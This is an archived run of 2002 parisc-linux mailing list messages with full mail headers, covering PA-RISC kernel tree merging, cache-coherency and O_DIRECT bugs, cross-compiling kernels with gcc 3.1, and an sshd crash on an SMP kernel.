Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
          Yesterday it worked.
          Today it is not working.
          Windows is like that.



From - Thu Nov 08 21:23:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] STI framebuffer and PINE
Date: 15 Jul 2002 15:57:48 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <1026745068.30206.8.camel@irongate.swansea.linux.org.uk>
References: <20020714091619.B1E35483A@dsl2.external.hp.com>
	<20020715142028.J27706@parcelfarce.linux.theplanet.co.uk>
	<1026743879.30202.5.camel@irongate.swansea.linux.org.uk> 
	<20020715143909.K27706@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621515 10851 80.91.229.3 (22 Nov 2014 01:58:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:35 +0000 (UTC)
Cc: Stephan Trajkoff <stephan@itp.bg>, Ralf.Hildebrandt@charite.de,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 07:49:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0EB7048A6
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 07:49:10 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g6FEvnu6030505;
	Mon, 15 Jul 2002 15:57:50 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g6FEvm0S030503;
	Mon, 15 Jul 2002 15:57:48 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20020715143909.K27706@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15478

On Mon, 2002-07-15 at 14:39, Matthew Wilcox wrote:
> > [ObOnTopic] What is the state of the 2.4 pa-risc code in terms of rate
> > of change now. Would it be a good time to use -ac as a real sync up ?
> 
> rate of change is fairly low; i attempted to do a merge with marcelo
> during early 2.4.19 dev, but someone sent some conflicting patches in
> first, i tripped over my own feet trying to use bitkeeper and ran out
> of motivation to fix conflicts myself.

People who do merges dont use bitkeeper

> at OLS we decided to concentrate on 2.5 RSN.  it's more important to
> work on that than keep trying to push bits into 2.4.

Is there somewhere I can yank a definitive stable 2.4 tree and I'll take
a look at the 2.4 stuff. I've had a bit of practice at the merging game
8)



From - Thu Nov 08 21:23:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] STI framebuffer and PINE
Date: Mon, 15 Jul 2002 14:55:25 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20020715145525.L27706@parcelfarce.linux.theplanet.co.uk>
References: <20020714091619.B1E35483A@dsl2.external.hp.com> <20020715142028.J27706@parcelfarce.linux.theplanet.co.uk> <1026743879.30202.5.camel@irongate.swansea.linux.org.uk> <20020715143909.K27706@parcelfarce.linux.theplanet.co.uk> <1026745068.30206.8.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621515 10857 80.91.229.3 (22 Nov 2014 01:58:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:35 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Stephan Trajkoff <stephan@itp.bg>, Ralf.Hildebrandt@charite.de,
	parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 07:55:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED9A5487E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 07:55:29 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17U6Jx-0000It-00; Mon, 15 Jul 2002 14:55:25 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1026745068.30206.8.camel@irongate.swansea.linux.org.uk>; from alan@lxorguk.ukuu.org.uk on Mon, Jul 15, 2002 at 03:57:48PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15479

On Mon, Jul 15, 2002 at 03:57:48PM +0100, Alan Cox wrote:
> Is there somewhere I can yank a definitive stable 2.4 tree and I'll take
> a look at the 2.4 stuff. I've had a bit of practice at the merging game
> 8)

http://ftp.parisc-linux.org/cvs/linux-2.4.18-pa55.tar.gz (29MB)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] O_DIRECT on devices
Date: Mon, 15 Jul 2002 14:57:57 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20020715135757.GM808@tykepenguin.com>
References: <20020711082259.GF822@tykepenguin.com> <20020715034632.E27706@parcelfarce.linux.theplanet.co.uk> <willy@debian.org> <20020715074219.18CD54861@dsl2.external.hp.com> <20020715122919.F27706@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621515 10863 80.91.229.3 (22 Nov 2014 01:58:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 07:57:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B03C487E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 07:57:59 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17U6MP-0007MM-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 14:57:57 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020715122919.F27706@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15480

On Mon, Jul 15, 2002 at 12:29:19PM +0100, Matthew Wilcox wrote:
> On Mon, Jul 15, 2002 at 01:42:19AM -0600, Grant Grundler wrote:
> > Randolph and I think most SMP bugs reported (and we seen ourselves)
> > suggest a D-cache problem.
> 
> Entirely plausible.  PA has bigger virtually indexed caches than anyone
> else, so we're more susceptible to cache aliasing bugs than anyone else.
> It could be a missing flush somewhere in the arch-independent code.

My machine isn't SMP but could a similar bug cause the problem to occur between
the CPU and the DMA controller of the SCSI card ?

patrick



From - Thu Nov 08 21:23:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] O_DIRECT on devices
Date: Mon, 15 Jul 2002 15:10:13 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020715151013.N27706@parcelfarce.linux.theplanet.co.uk>
References: <20020711082259.GF822@tykepenguin.com> <20020715034632.E27706@parcelfarce.linux.theplanet.co.uk> <willy@debian.org> <20020715074219.18CD54861@dsl2.external.hp.com> <20020715122919.F27706@parcelfarce.linux.theplanet.co.uk> <20020715135757.GM808@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621516 10873 80.91.229.3 (22 Nov 2014 01:58:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 08:10:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A53AB48A1
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 08:10:17 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17U6YH-0000ZN-00
	for parisc-linux@lists.parisc-linux.org; Mon, 15 Jul 2002 15:10:13 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020715135757.GM808@tykepenguin.com>; from patrick@tykepenguin.com on Mon, Jul 15, 2002 at 02:57:57PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15481

On Mon, Jul 15, 2002 at 02:57:57PM +0100, Patrick Caulfield wrote:
> My machine isn't SMP but could a similar bug cause the problem to occur between
> the CPU and the DMA controller of the SCSI card ?

you're on a C110, right?  that has a ccio IOC so you shouldn't have any
problems, unless there's a driver bug.  and the symbios driver gets a
lot of testing ;-)

what we could be seeing on your machine is incoherency between user &
kernel space.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] O_DIRECT on devices
Date: Mon, 15 Jul 2002 15:23:56 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20020715142356.GN808@tykepenguin.com>
References: <20020711082259.GF822@tykepenguin.com> <20020715034632.E27706@parcelfarce.linux.theplanet.co.uk> <willy@debian.org> <20020715074219.18CD54861@dsl2.external.hp.com> <20020715122919.F27706@parcelfarce.linux.theplanet.co.uk> <20020715135757.GM808@tykepenguin.com> <20020715151013.N27706@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621516 10878 80.91.229.3 (22 Nov 2014 01:58:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 08:24:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id A60D0488B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 08:23:57 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17U6lY-0007QG-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 15:23:56 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020715151013.N27706@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15482

On Mon, Jul 15, 2002 at 03:10:13PM +0100, Matthew Wilcox wrote:
> On Mon, Jul 15, 2002 at 02:57:57PM +0100, Patrick Caulfield wrote:
> > My machine isn't SMP but could a similar bug cause the problem to occur between
> > the CPU and the DMA controller of the SCSI card ?
> 
> you're on a C110, right?  that has a ccio IOC so you shouldn't have any
> problems, unless there's a driver bug.  and the symbios driver gets a
> lot of testing ;-)

yes.
 
> what we could be seeing on your machine is incoherency between user &
> kernel space.

ah OK. makes sense.

patrick



From - Thu Nov 08 21:23:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] STI framebuffer and PINE
Date: 15 Jul 2002 16:42:49 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <1026747769.30202.10.camel@irongate.swansea.linux.org.uk>
References: <20020714091619.B1E35483A@dsl2.external.hp.com>
	<20020715142028.J27706@parcelfarce.linux.theplanet.co.uk>
	<1026743879.30202.5.camel@irongate.swansea.linux.org.uk>
	<20020715143909.K27706@parcelfarce.linux.theplanet.co.uk>
	<1026745068.30206.8.camel@irongate.swansea.linux.org.uk> 
	<20020715145525.L27706@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621516 10883 80.91.229.3 (22 Nov 2014 01:58:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:36 +0000 (UTC)
Cc: Stephan Trajkoff <stephan@itp.bg>, Ralf.Hildebrandt@charite.de,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 08:34:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 300BA48AD
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 08:34:18 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g6FFgqu6030686;
	Mon, 15 Jul 2002 16:42:53 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g6FFgnAE030684;
	Mon, 15 Jul 2002 16:42:49 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20020715145525.L27706@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15483

On Mon, 2002-07-15 at 14:55, Matthew Wilcox wrote:
> On Mon, Jul 15, 2002 at 03:57:48PM +0100, Alan Cox wrote:
> > Is there somewhere I can yank a definitive stable 2.4 tree and I'll take
> > a look at the 2.4 stuff. I've had a bit of practice at the merging game
> > 8)
> 
> http://ftp.parisc-linux.org/cvs/linux-2.4.18-pa55.tar.gz (29MB)

Munch...

I'll let folks know how it goes



From - Thu Nov 08 21:23:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Mon, 15 Jul 2002 08:06:01 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20020715150601.GG10191@tausq.org>
References: <20020712073628.GB8838@tausq.org> <1026467388.3d2ea63c0ac65@webmail.tiscalinet.be> <20020712150139.GC8838@tausq.org> <1026491023.3d2f028f991a1@webmail.tiscalinet.be> <1026716599.3d3273b741097@webmail.tiscalinet.be> <1026717872.3d3278b080023@webmail.tiscalinet.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621517 10893 80.91.229.3 (22 Nov 2014 01:58:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:37 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 09:03:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E611489A
	for <parisc-linux@parisc-linux.org>; Mon, 15 Jul 2002 09:03:30 -0600 (MDT)
Original-Received: (qmail 3558 invoked from network); 15 Jul 2002 15:03:10 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <joel.soete@freebel.net>; 15 Jul 2002 15:03:10 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id AC935CE04E; Mon, 15 Jul 2002 08:06:01 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1026717872.3d3278b080023@webmail.tiscalinet.be>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15484

> > Hmm I am also curious to test your .config file?

i'm using the default config...

arch/parisc/debian-config/64-smp

> How do you build gcc (3.1.1) natively or as crosscompiler (I do the last may be
> it is the problem?)?

cross-compiler, hppa-linux->hppa64-linux

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Mon, 15 Jul 2002 11:24:52 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200207151524.g6FFOqqE023640@hiauly1.hia.nrc.ca>
References: <1026716599.3d3273b741097@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621517 10897 80.91.229.3 (22 Nov 2014 01:58:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:37 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 09:24:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7461E487D
	for <parisc-linux@parisc-linux.org>; Mon, 15 Jul 2002 09:24:55 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6FFOr00023641;
	Mon, 15 Jul 2002 11:24:53 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6FFOqqE023640;
	Mon, 15 Jul 2002 11:24:52 -0400 (EDT)
In-Reply-To: <1026716599.3d3273b741097@webmail.tiscalinet.be> from "joel.soete@freebel.net" at Jul 15, 2002 09:03:19 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15485

> (I just note on the sti console)
> sshd (pid 322): illegal instruction (code 8)
> ...
> kernel panic...

This is just a guess but I will wager that this problem is related
to the problems with expect, the cc1plus crash and the mmap issues noted
elsewhere with SMP kernels.  There seem to be circumstances where the
kernel crashes when a user application traps unexpectedly.

Joel, you should be able to run sshd under gdb and find what the
cause of the illegal instruction is.  It should not be a problem
to download and build 3.4p1 with gcc 3.2 from <http://www.openssh.org>.
Build at -O1 with debugging enabled.  There are examples on their
mail list on how to run sshd in debug mode.  If the situation is
similar to the cc1plus crash, gdb will prevent the system from
crashing when the fault occurs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP (in)stability
Date: Mon, 15 Jul 2002 15:05:43 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20020715150543.M27706@parcelfarce.linux.theplanet.co.uk>
References: <200207101707.g6AH7xMS010810@hiauly1.hia.nrc.ca> <200207101744.g6AHiKW0011045@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621517 10898 80.91.229.3 (22 Nov 2014 01:58:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:37 +0000 (UTC)
Cc: rhirst@linuxcare.com, grundler@dsl2.external.hp.com,
	varenet@esiee.fr, parisc-linux@lists.parisc-linux.org
